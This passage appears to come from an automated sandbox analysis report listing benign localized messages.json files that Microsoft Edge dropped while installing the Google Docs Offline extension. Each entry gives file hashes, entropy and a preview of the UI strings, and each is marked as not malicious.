Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.631887382471946
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97f9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95MwP9KkJ+je:YwBrD2J2DBLMfFuWvdpY94vioO+uh
MD5:	1F565FB1C549B18AF8BBFED8DECD5D94
SHA1:	B57F4BDAE06FF3DFC1EB3E56B6F2F204D6F63638
SHA-256:	E16325D1A641EF7421F2BAFCD6433D53543C89D498DD96419B03CBA60B9C7D60
SHA-512:	A60B8E042A9BCDCC136B87948E9924A0B24D67C6CA9803904B876F162A0AD82B9619F1316BE9FF107DD143B44F7E6F5DF604ABFE00818DEB40A7D62917CDA69F
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1880
Entropy (8bit):	4.295185867329351
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/UGG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZZ
MD5:	8E16966E815C3C274EEB8492B1EA6648
SHA1:	7482ED9F1C9FD9F6F9BA91AB15921B19F64C9687
SHA-256:	418FF53FCA505D54268413C796E4DF80E947A09F399AB222A90B81E93113D5B5
SHA-512:	85B28202E874B1CF45B37BA05B87B3D8D6FE38E89C6011C4240CF6B563EA6DA60181D712CCE20D07C364F4A266A4EC90C4934CC8B7BB2013CB3B22D755796E38
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
